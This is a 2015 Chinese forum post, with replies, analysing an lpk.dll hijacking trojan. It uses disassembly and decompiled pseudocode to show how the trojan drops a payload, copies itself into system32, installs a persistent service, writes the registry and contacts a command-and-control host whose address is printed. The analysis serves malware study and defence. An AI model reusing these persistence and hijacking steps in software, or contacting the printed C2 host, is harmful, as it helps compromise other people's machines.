一次对lpk.dll劫持木马的分析
本帖最后由 康小泡 于 2015-7-21 16:51 编辑前言
这是一个比较老的样本了,我是在论坛里面找到的这个样本,文章的作者只是介绍了该木马的方法是通过木马造成的结果来分析的这个木马,然后这里写这个文章是通过从内部来剖析该木马的。如果不对的地方还请各位大神们赐教,不足的地方还希望大家能够给我补充一下。谢谢^_^
dll劫持原理
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了,而本文中的lpk.dll是大部分程序都会调用到的一个dll
样本信息
MD5:d2b777a93719e548d0baf4c886e124d3
基本行为:写注册表,写服务,开机自启动,复制自身到系统文件中,在每个文件夹下创建dll文件
样本地址:http://www.52pojie.cn/thread-185439-1-1.html
行为分析
lpk.dll
No.1加载资源,写入tmp文件
该木马通过加载资源获取到里面的"Distribuijq"这个字符串
创建一个互斥量,唯一标识就是刚刚从资源中获取到的字符串
100012BD/$57 push edi
1100012BE|.68 20320010 push lpk_1.10003220 ; /MutexName = "Distribuijq"
1100012C3|.6A 00 push 0x0 ; |InitialOwner = FALSE
1100012C5|.6A 00 push 0x0 ; |pSecurity = NULL
1100012C7|.FF15 50200010 call dword ptr ds:[<&KERNEL32.CreateMute>; \CreateMutexA
继续加载资源,这次读取的是一个PE文件
读取到资源后会在系统临时目录下创建一个前缀名为"hrl"+*的文件名,因为GetTempFileameW()函数中的Unique参数(追加到前缀字串后面的数字)设置的是0x0所以这个函数会用一个随机数字生成文件。随后,它会检查是否存在同名的文件。如果存在,函数会增加这个数字,并继续尝试,直到生成一个独一无二的名字为止。
10001204|.50 push eax ; /Buffer = 0012F610
10001205|.68 04010000 push 0x104 ; |BufSize = 104 (260.)
1000120A|.FF15 48200010 call dword ptr ds:[<&KERNEL32.GetTempPat>; \GetTempPathW
10001210|.8D85 94FDFFFF lea eax,
10001216|.50 push eax ; /TempName = 0012F610
10001217|.56 push esi ; |Unique = 0x0
10001218|.68 C4210010 push lpk_1.100021C4 ; |Prefix = "hrl"
1000121D|.50 push eax ; |Path = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"
1000121E|.FF15 44200010 call dword ptr ds:[<&KERNEL32.GetTempFil>; \GetTempFileNameW
10001224|.56 push esi ; /hTemplateFile = NULL
10001225|.56 push esi ; |Attributes = 0
10001226|.6A 02 push 0x2 ; |Mode = CREATE_ALWAYS
10001228|.56 push esi ; |pSecurity = NULL
10001229|.33DB xor ebx,ebx ; |
1000122B|.43 inc ebx ; |
1000122C|.53 push ebx ; |ShareMode = FILE_SHARE_READ
1000122D|.68 00000040 push 0x40000000 ; |Access = GENERIC_WRITE
10001232|.8D85 94FDFFFF lea eax, ; |
10001238|.50 push eax ; |FileName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"
10001239|.FF15 40200010 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileW
创建完成后将数据写入到tmp文件中
10001246|.56 push esi ; /pOverlapped = NULL
10001247|.8D45 F0 lea eax, ; |
1000124A|.50 push eax ; |pBytesWritten = 0012F86C
1000124B|.FF75 F8 push ; |nBytesToWrite = 9A00 (39424.)
1000124E|.8975 F0 mov ,esi ; |
10001251|.FF75 F4 push ; |Buffer = lpk_1.10004094
10001254|.57 push edi ; |hFile = 00000084 (window)
10001255|.FF15 3C200010 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile
No.2创建新进程"hrl*.tmp"
10001281|.50 push eax ; /pProcessInfo = 0012F610
110001282|.8D45 9C lea eax, ; |
110001285|.50 push eax ; |pStartupInfo = 0012F610
110001286|.56 push esi ; |CurrentDir = NULL
110001287|.56 push esi ; |pEnvironment = NULL
110001288|.56 push esi ; |CreationFlags = 0
110001289|.56 push esi ; |InheritHandles = FALSE
11000128A|.56 push esi ; |pThreadSecurity = NULL
11000128B|.56 push esi ; |pProcessSecurity = NULL
11000128C|.8D85 94FDFFFF lea eax, ; |
110001292|.50 push eax ; |CommandLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hrl26.tmp"
110001293|.56 push esi ; |ModuleFileName = NULL
110001294|.C745 9C 44000>mov ,0x44 ; |
11000129B|.895D C8 mov ,ebx ; |
11000129E|.FF15 30200010 call dword ptr ds:[<&KERNEL32.CreateProc>; \CreateProcessW
hrl*.tmp
下面是hrl*.tmp大致流程,接下来会对下面的内容进行详细分析if ( Openkey() )
{
ServiceStartTable.lpServiceName = ServiceName;
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_4028D0;
v5 = 0;
v6 = 0;
StartServiceCtrlDispatcherA(&ServiceStartTable);
}
else
{
ServerAndKeyAndCreate(ServiceName, DisplayName, aDistribumgqTra);
if ( dword_409344 )
{
GetTempAndMove();
ExitProcess(0);
}
}
N0.2打开注册表
利用拼接的方式获取注册表名
00402C67|.68 A4844000 push hrl1A.004084A4 ; /String2 = "SYSTEM\CurrentControlSet\Services\"
00402C6C|.F3:AB rep stos dword ptr es: ; |
00402C6E|.66:AB stos word ptr es: ; |
00402C70|.AA stos byte ptr es: ; |
00402C71|.8D4424 0C lea eax,dword ptr ss: ; |
00402C75|.50 push eax ; |String1 = 0012F780
00402C76|.FF15 7C604000 call dword ptr ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA
00402C7C|.8D4C24 08 lea ecx,dword ptr ss:
00402C80|.68 24804000 push hrl1A.00408024 ; /StringToAdd = "Distribuijq"
00402C85|.51 push ecx ; |ConcatString = "SYSTEM\CurrentControlSet\Services\"
00402C86|.FF15 4C604000 call dword ptr ds:[<&KERNEL32.lstrcatA>] ; \lstrcatA
通过调用RegOpenKeyExA函数尝试能否打开注册表(换而言之,该木马是在判断该木马是否已经在主机上写入注册表,从而决定下一步动作)
00402C94|.52 push edx
00402C95|.68 3F000F00 push 0xF003F
00402C9A|.6A 00 push 0x0
00402C9C|.50 push eax
00402C9D|.68 02000080 push 0x80000002
00402CA2|.FF15 608D4000 call dword ptr ds: ;advapi32.RegOpenKeyExA
No.3注册表打开失败
判断自己是不是在系统目录下
00402DB5|.51 push ecx ; /maxlen
00402DB6|.8D85 D8FCFFFF lea eax, ; |
00402DBC|.50 push eax ; |s2 = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
00402DBD|.8D8D E0FDFFFF lea ecx, ; |
00402DC3|.51 push ecx ; |s1 = "C:\WINDOWS\system32"
00402DC4|.FF15 60624000 call dword ptr ds:[<&MSVCRT.strncmp>] ; \strncmp
如果不在系统目录下,木马会调用GetTickCount函数和rand函数组合使用,获取一个随机的一个6位长度的程序名
(1)重复调用GetTickCount函数和rand函数的组合
v6 = sub_403CC0(0x1Au) + 97;
v7 = sub_403CC0(0x1Au) + 97;
v8 = sub_403CC0(0x1Au) + 97;
v9 = sub_403CC0(0x1Au) + 97;
v10 = sub_403CC0(0x1Au) + 97;
v11 = sub_403CC0(0x1Au);
(2)GetTickCount函数和rand函数的组合实现
v1 = GetTickCount();
return v1 * (rand() + 3) % a1;
(3)获取到随机文件名
复制自身到C:windwos\system32目录下
00402E3E|.68 D4844000 push hrl1A.004084D4 ; /StringToAdd = "\"
00402E43|.8D85 E0FDFFFF lea eax, ; |
00402E49|.50 push eax ; |ConcatString = "C:\WINDOWS\system32\icdgae.exe"
00402E4A|.8B1D 4C604000 mov ebx,dword ptr ds:[<&KERNEL32.lstrcat>; |kernel32.lstrcatA
00402E50|.FFD3 call ebx ; \lstrcatA
00402E52|.8D8D 68FCFFFF lea ecx,
00402E58|.51 push ecx ; /StringToAdd = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
00402E59|.8D95 E0FDFFFF lea edx, ; |
00402E5F|.52 push edx ; |ConcatString = 0000000B ???
00402E60|.FFD3 call ebx ; \lstrcatA
00402E62|.56 push esi ; /FailIfExists = FALSE
00402E63|.8D85 E0FDFFFF lea eax, ; |
00402E69|.50 push eax ; |NewFileName = "C:\WINDOWS\system32\icdgae.exe"
00402E6A|.8D8D D8FCFFFF lea ecx, ; |
00402E70|.51 push ecx ; |ExistingFileName = "C:\Documents and Settings\Administrator\桌面\hrl1A.tmp"
00402E71|.FF15 88604000 call dword ptr ds:[<&KERNEL32.CopyFileA>>; \CopyFileA
服务控制管理器的连接
00402EC3|.68 3F000F00 push 0xF003F
00402EC8|.57 push edi
00402EC9|.57 push edi
00402ECA|.FF15 748D4000 call dword ptr ds: ;advapi32.OpenSCManagerA
连接成功后,创建服务,如果创建服务返回1073(服务已经存在)就打开服务,执行服务
v5 = CreateServiceA(v13, lpServiceName, lpDisplayName, 0xF01FFu, 0x10u, 2u, 0, &Str2, 0, 0, 0, 0, 0);
v37 = v5;
if ( !v5 && GetLastError() == 1073 )
{
v14 = OpenServiceA(hSCManager, lpServiceName, 0xF01FFu);
v5 = v14;
v37 = v14;
if ( !v14 )
goto LABEL_11;
StartServiceA(v14, 0, 0);
服务启动成功后,继续写入注册表,设置注册表值
if ( StartServiceA(v5, 0, 0) )
{
lstrcpyA(&String1, aSystemCurrentc);
v12(&String1, lpServiceName);
RegOpenKeyA(HKEY_LOCAL_MACHINE, &String1, &phkResult);
v15 = lstrlenA(lpString);
RegSetValueExA(phkResult, aDescription, 0, 1u, (const BYTE *)lpString, v15);
执行完上面的,木马会将自己重命名后转移到系统的临时文件中
00402588|.52 push edx ; /Buffer = 0000000D
00402589|.68 04010000 push 0x104 ; |BufSize = 104 (260.)
0040258E|.FF15 28604000 call dword ptr ds:[<&KERNEL32.GetTempPat>; \GetTempPathA
00402594|.8D8424 200100>lea eax,dword ptr ss:
0040259B|.68 88844000 push hrl1A.00408488 ; /StringToAdd = "SOFTWARE.LOG"
004025A0|.50 push eax ; |ConcatString = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
004025A1|.FF15 4C604000 call dword ptr ds:[<&KERNEL32.lstrcatA>] ; \lstrcatA
004025A7|.8B35 2C604000 mov esi,dword ptr ds:[<&KERNEL32.MoveFil>;kernel32.MoveFileExA
004025AD|.8D8C24 200100>lea ecx,dword ptr ss:
004025B4|.6A 03 push 0x3 ; /Flags = REPLACE_EXISTING|COPY_ALLOWED
004025B6|.8D5424 20 lea edx,dword ptr ss: ; |
004025BA|.51 push ecx ; |NewName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
004025BB|.52 push edx ; |ExistingName = "C:\Documents and Settings\Administrator\桌面\hrl1A.exe"
004025BC|.FFD6 call esi ; \MoveFileExA
004025BE|.85C0 test eax,eax
004025C0|.74 0E je short hrl1A.004025D0
004025C2|.6A 05 push 0x5 ; /Flags = REPLACE_EXISTING|DELAY_UNTIL_REBOOT
004025C4|.8D8424 240100>lea eax,dword ptr ss: ; |
004025CB|.6A 00 push 0x0 ; |NewName = NULL
004025CD|.50 push eax ; |ExistingName = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\SOFTWARE.LOG"
004025CE|.FFD6 call esi ; \MoveFileExA
No.4注册表打开成功(此时的木马已经完成了它的基本配置,要开始作恶了)
注册表打开成功后,木马会调用StartServiceCtrlDispatcherA()函数,该函数指出了处理该服务的函数
ServiceStartTable.lpServiceName = ServiceName;
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_4028D0;
v5 = 0;
v6 = 0;
StartServiceCtrlDispatcherA(&ServiceStartTable);
下面主要分析处理服务的函数
(1)注册一个函数来处理服务控制请求,在设置服务状态,最后创建一个互斥量
hServiceStatus = RegisterServiceCtrlHandlerA(ServiceName, HandlerProc);
ServiceStatus.dwServiceType = 32;
ServiceStatus.dwControlsAccepted = 7;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwWaitHint = 2000;
ServiceStatus.dwCheckPoint = 1;
ServiceStatus.dwCurrentState = 2;
SetServiceStatus(hServiceStatus, &ServiceStatus);
ServiceStatus.dwCheckPoint = 0;
Sleep(0x1F4u);
ServiceStatus.dwCurrentState = 4;
SetServiceStatus(hServiceStatus, &ServiceStatus);
CreateMutexA(0, 0, ServiceName);
(2)通过加载资源,然后创建一个hra*.dll文件
v4 = FindResourceA(hModule, lpName, lpType);
v5 = v4;
if ( v4 ){
v6 = SizeofResource(hModule, v4);
v7 = LoadResource(hModule, v5);
if ( v7 ){
if ( v6 ) {
v8 = LockResource(v7);
if ( v8 ){
wsprintfA(&FileName, aHraU_dll, lpName); //aHraU_dll储存的就是文件名
v9 = CreateFileA(&FileName, 0x40000000u, 1u, 0, 2u, 0, 0);
if ( v9 != (HANDLE)-1 ) {
NumberOfBytesWritten = 0;
WriteFile(v9, v8, v6, &NumberOfBytesWritten, 0);
CloseHandle(v9);
}
}
}
}
}
(3)首先会查看是否能打开注册表,打开注册表后会检测ImagPath中的值是否指向一个可执行文件。然后获取这个文件的属性
00402770|.50 push eax ; /FileName = "C:\WINDOWS\system32\rqfhou.exe"
00402771|.FF15 78604000 call dword ptr ds:[<&KERNEL32.GetFileAtt>; \GetFileAttributesA
(4)属性获取成功后会打开该文件
00402788|> \6A 00 push 0x0 ; /hTemplateFile = NULL
0040278A|.6A 00 push 0x0 ; |Attributes = 0
0040278C|.6A 03 push 0x3 ; |Mode = OPEN_EXISTING
0040278E|.6A 00 push 0x0 ; |pSecurity = NULL
00402790|.6A 01 push 0x1 ; |ShareMode = FILE_SHARE_READ
00402792|.8D4C24 2C lea ecx,dword ptr ss: ; |
00402796|.68 00000080 push 0x80000000 ; |Access = GENERIC_READ
0040279B|.51 push ecx ; |FileName = "C:\WINDOWS\system32\rqfhou.exe"
0040279C|.FF15 34604000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
(5)获取文件大小,然后对资源进行更新(删除掉刚刚生成的dll文件)
004027B5|> \6A 00 push 0x0 ; /pFileSizeHigh = NULL
004027B7|.56 push esi ; |hFile = 0000007C (window)
004027B8|.FF15 74604000 call dword ptr ds:[<&KERNEL32.GetFileSiz>; \GetFileSize
0040283B|.6A 00 push 0x0 ; /DeleteExistingResources = FALSE
0040283D|.51 push ecx ; |FileName = "hra33.dll"
0040283E|.FF15 04604000 call dword ptr ds:[<&KERNEL32.BeginUpdat>; \BeginUpdateResourceA
00402861|.55 push ebp ;kernel32.UpdateResourceA
00402862|.8B2D 08604000 mov ebp,dword ptr ds:[<&KERNEL32.UpdateR>;kernel32.UpdateResourceA
00402868|.52 push edx ; /DataSize = 9A00 (39424.)
00402869|.53 push ebx ; |pData = 00159760
0040286A|.6A 00 push 0x0 ; |LanguageId = 0x0 (LANG_NEUTRAL)
0040286C|.6A 66 push 0x66 ; |ResourceName = 0x66
0040286E|.6A 0A push 0xA ; |ResourceType = RT_RCDATA
00402870|.56 push esi ; |hFile = 008F003C
00402871|.FFD5 call ebp ; \UpdateResourceA
00402896|> \6A 00 push 0x0 ; /DiscardUpdates = FALSE
00402898|.56 push esi ; |hUpdateFile = 008F003C
00402899|.FF15 0C604000 call dword ptr ds:[<&KERNEL32.EndUpdateR>; \EndUpdateResourceA
(6)前面虽然已经对lra33.dll进行了删除,为了保证是被真的删除掉,函数还通过调用LoadLibrary函数来判断是否还存在这个dll,如果存在就删除
wsprintfA(&LibFileName, aHraU_dll, 32);
v0 = LoadLibraryA(&LibFileName);
v1 = v0;
if ( v0 )
{
dword_40933C = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v0, aStartwork);
dword_409340 = (int (__fastcall *)(_DWORD, _DWORD))GetProcAddress(v1, aStopwork);
if ( dword_409340 && dword_40933C )
return 1;
FreeLibrary(v1);
DeleteFileA(&LibFileName);
}
(7)通过解密获得一个域名
004029C2 .51 push ecx
004029C3 .68 C4814000 push rqfhou.004081C4 ;ASCII "tutwl.3322.org:8899"
004029C8 .E8 E3FAFFFF call rqfhou.004024B0
(7)剩下一个就是一个死循环,在等待发送过来的命令了
while ( 1 )
{
hObject = Connect_boot((LPTHREAD_START_ROUTINE)AboutInter, 0);
WaitForSingleObject(hObject, 0xFFFFFFFF);
CloseHandle(hObject);
closesocket(s);
dword_408614 = 1;
Sleep(0x12Cu);
}
详细的信息进入AboutInter就可以看到里面的内容,这里就不再把里面的内容贴出来了,简单的介绍一下里面的内容就是通过创建UDP套接字里进行通信,获取用户系统版本,并发送至服务端(因为服务端已经崩溃了,所以这里就没有抓获到数据)等等
666666666666,多多分享相关文章 KKcracker 发表于 2016-12-8 10:10
不错的教程,我也用这个做做实验,哈哈~另外,可否告知哪里有大量的木马样本可供下载的?
大量到没有,不过可以到卡饭上面去找找样本,那里每天都有人上传样本。都是最新的 膜拜大鸟 不觉明历{:301_985:} 问一下大神用的什么反编译软件?{:301_1009:} 本帖最后由 康小泡 于 2015-7-25 19:29 编辑
wjshan0808 发表于 2015-7-21 17:32
问一下大神用的什么反编译软件?
就IDA和OD联合着使用的。用OD看不清楚流程了的时候用IDA很好用。ps:我不是大牛 学习了,膜拜大神 maoxinwen 发表于 2015-7-22 00:50
楼主你说的两个软件能看到源代码函数之类的信息?
IDA支持F5功能可以看程序的伪C代码 L4Nce 发表于 2015-7-22 15:31
666666666666,多多分享相关文章
嘻嘻,是滴。是滴。{:17_1069:} 去下载样本的时候 还没下载下来avast就给拦截了{:1_912:} LZ有没有什么推荐的主防杀软